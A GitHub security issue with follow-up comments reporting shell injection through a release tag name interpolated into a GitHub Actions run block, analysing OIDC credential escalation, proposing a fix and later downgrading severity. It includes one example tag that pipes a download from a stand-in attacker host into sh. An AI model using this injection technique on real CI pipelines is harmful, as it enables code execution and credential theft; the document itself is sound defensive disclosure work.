Skip to content

sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write #1649

Closed

Description

@cristim

Found during the #1542 sweep of .github/workflows/. Structurally identical to #1542: a raw interpolation of an attacker-influenceable value into a run: block, inside a job that holds id-token: write and has no environment: binding. Labelled to match #1542 accordingly.

Where

.github/workflows/deploy-aws-lambda.yml

  • :26 — permissions: id-token: write at workflow level
  • :56-57 — release: types: [created] trigger
  • :82 — prepare job. No environment: binding. Line :86 is environment: ${{ steps.set-env.outputs.environment }} under outputs: — that is an output named environment, not an environment binding. Easy to misread; it does not gate anything.
  • :107 — the defect:
echo "tag=${{ github.event.release.tag_name }}" >> $GITHUB_OUTPUT

What

github.event.release.tag_name is a git tag name. git check-ref-format forbids spaces, ~, ^, :, ?, *, [, \ and control characters — but it permits ;, $, `, (, ), &, |, <, >, !, ' and ". So a tag named:

v1.0.0;curl$IFS-s$IFS'https://attacker/x'|sh;

is a valid ref, and cutting a release on it substitutes that text into the shell source of :107 before bash parses it. The absence of spaces is not a barrier — $IFS and brace expansion cover it.

The value additionally flows into $GITHUB_OUTPUT unescaped, so a tag containing a newline-equivalent could also poison the image_tag output consumed by build-and-deploy.

Why it matters

prepare inherits id-token: write from :26 and has no environment binding, so injected code there can mint an OIDC token. terraform/environments/aws/ci-cd-permissions/role.tf:29 accepts the subject repo:<org/repo>:ref:refs/heads/main independently of the environment:* subjects, so that token assumes cudly-terraform-deploy — the full production deploy role — without passing any reviewer gate.

This is the exact mechanism #1542 described, reached through a different trigger.

Precondition: creating a release requires write access to the repo. That is the same trust boundary #1542 had (dispatching a workflow also requires write access), so it is not a mitigation so much as a restatement of the threat model: a write-access user, or a compromised token/account with write access, escalates to production cloud credentials with no approval step.

Fix

Same shape as PR #1641:

- name: Set image tag
  id: set-tag
  env:
    EVENT_NAME: ${{ github.event_name }}
    RELEASE_TAG: ${{ github.event.release.tag_name }}
    SHA: ${{ github.sha }}
  run: |
    set -euo pipefail
    if [ "$EVENT_NAME" = "release" ]; then
      TAG="$RELEASE_TAG"
    else
      TAG="$SHA"
    fi
    # Registry-safe charset, same guard rollback.yml now applies to image_tag.
    if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
      echo "::error::Refusing unsafe tag: $TAG"
      exit 1
    fi
    echo "tag=$TAG" >> "$GITHUB_OUTPUT"

Also drop id-token: write from workflow level to only the jobs that authenticate, per the same change in #1641.

Note ${{ github.event_name }} and ${{ github.sha }} are also interpolated raw in this job (:93-101, :109); both are GitHub-generated and not attacker-settable, so they are hygiene rather than vulnerability — but moving them at the same time keeps the file consistent.

Scope

github.actor is interpolated into run: blocks at deploy-aws-fargate.yml:185, deploy-aws-lambda.yml:220, deploy-azure.yml:249 and deploy-gcp.yml:159. GitHub usernames are constrained to [A-Za-z0-9-], so those are not injectable and are listed here only so a reader does not re-flag them.

Related: #1542 / PR #1641 (same class, rollback.yml), #1647 (same class, database-migration.yml), #1591 (missing environment bindings), #1646 (no workflow linter, which is why none of these were caught).

Activity

  1. cristim commented on Jul 28, 2026

    @cristim
    MemberAuthor

    Correction to the escalation claimed in this issue. Independent review of PR #1657 found the chain does not connect, and I verified it. Recording here so the issue does not keep asserting something unreachable.

    What this issue claimed: RCE in the ungated prepare job → mint an OIDC token → assume cudly-terraform-deploy via repo:<org>/<repo>:ref:refs/heads/main (role.tf:29).

    Why it does not connect: the payload only executes on a release event, and on a release event GITHUB_REF is refs/tags/<tag>. So the ungated job's OIDC subject is repo:LeanerCloud/CUDly:ref:refs/tags/<tag>, which matches none of role.tf's four entries (ref:refs/heads/main + environment:{dev,staging,prod}). Verified:

    • gh api repos/LeanerCloud/CUDly/actions/oidc/customization/sub → use_default: true, so the default subject template is in force and the ref-based sub is what gets minted.
    • GCP pins assertion.ref == 'refs/heads/main' (github_oidc.tf:37); Azure allows only main and pull_request (sp.tf:37,48).

    What is actually reachable — still worth the p0 label:

    1. Arbitrary code execution on the runner in prepare, under that job's GITHUB_TOKEN.
    2. Arbitrary keys written into $GITHUB_OUTPUT. prepare's outputs are consumed by build-and-deploy and test-deployment, both of which hold id-token: write. Controlling what two credentialed jobs read is the real prize, and it is what PR fix(ci): stop interpolating the release tag into a run block #1657's guard now protects.

    Honest caveat on severity: cutting a release already requires write access, and this repo's main is unprotected (gh api .../branches/main/protection → 404). A write-capable attacker could push to main and get the ref:refs/heads/main subject directly, no injection required. So the marginal capability this bug hands an attacker who already has write access is small. Still worth fixing — the $GITHUB_OUTPUT path into credentialed jobs is real, and defence in depth — but the "escalates to the full production deploy role" framing was wrong.

    I am not downgrading the label unilaterally, since the RCE and the credentialed-output path are both genuine; flagging it so whoever triages can decide whether p0/critical still fits given the write-access precondition and the unprotected main.

    Note the branch-protection observation is itself worth acting on independently: an unprotected main combined with a trust policy that accepts ref:refs/heads/main means write access is equivalent to production deploy credentials, with or without this bug. That is broader than #1649 and overlaps #1591 / LeanerCloud/cloud-commitments-platform#140 / LeanerCloud/cloud-commitments-platform#141.

  2. cristim commented on Aug 3, 2026

    @cristim
    MemberAuthor

    Re-triage: p0/critical → p2

    An independent adversarial review of PR #1657 examined this issue's escalation chain. Two corrections, one of which reverses an earlier assessment recorded against this issue.

    Correction 1 — the chain IS reachable

    An earlier review concluded the chain was unreachable because a release event presents ref:refs/tags/<tag>, which matches no entry in the AWS OIDC trust allowlist. That is wrong for this workflow. Both credentialed jobs in deploy-aws-lambda.yml are environment:-bound, and an environment-bound job's OIDC sub is repo:O/R:environment:<name> — not the ref form. On a release, target_environment=prod, so the subject is repo:LeanerCloud/CUDly:environment:prod, which is an allowlist entry (terraform/environments/aws/ci-cd-permissions/role.tf).

    The PR's own inline comment stated this correctly; the earlier review contradicted the code it was reviewing. Recording it here so "unreachable" does not propagate further.

    Correction 2 — the severity still collapses, for a stronger reason

    The escalation does not cross a privilege boundary, because there is no boundary to cross:

    1. Creating a release requires write access.
    2. main is not protected. Classic branch protection returns 404 "Branch not protected" (verified with an admin:true token, so not a scope artifact). The only active ruleset contributes ["deletion", "non_fast_forward"] — no required PR, no required reviews. There is no CODEOWNERS file.
    3. repo:<org>/<repo>:ref:refs/heads/main is itself an allowlist entry.

    So an actor with write access can push a workflow edit directly to main and mint AWS deploy credentials outright. The tag-injection path grants strictly less than that actor already holds.

    Additionally, git check-ref-format rejects both newline and tab in ref names (verified locally), so a control-character tag cannot exist as a git ref, and GitHub creates the ref when a release is created. GitHub's API-side validation was not proven — doing so would mean creating a real release on the live repo — so treat that as strongly indicative rather than proven.

    Also relevant to urgency: the repository has zero remote tags and zero GitHub releases. The release path has never fired.

    What the real residual is

    RCE-on-runner plus the ability to write arbitrary $GITHUB_OUTPUT keys consumed by two credentialed jobs — gated behind write access that already suffices for more. Genuine, worth the fix in #1657, but not p0.

    The larger exposure this surfaced

    That main is effectively unprotected while ref:refs/heads/main is a trusted OIDC subject for the AWS deploy role is a bigger exposure than this issue describes, and it compounds with LeanerCloud/cloud-commitments-platform#139 (no Environment carries required reviewers) so that a release auto-deploys to prod with AWS credentials and no human gate. That is being tracked separately rather than folded in here.

    Label change

    priority/p0 → p2, severity/critical → medium, urgency/now → this-sprint. Keeping type/security and impact/* as-is. The fix in #1657 still merges.

    Leaving the original issue text intact; this comment is the correction of record.

  3. added a commit that references this issue on Aug 3, 2026
    63c7f54
  4. added a commit that references this issue on Aug 5, 2026
    bba8576
  5. added 2 commits that reference this issue on Sep 27, 2026
    e18a066
    28cb9c0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions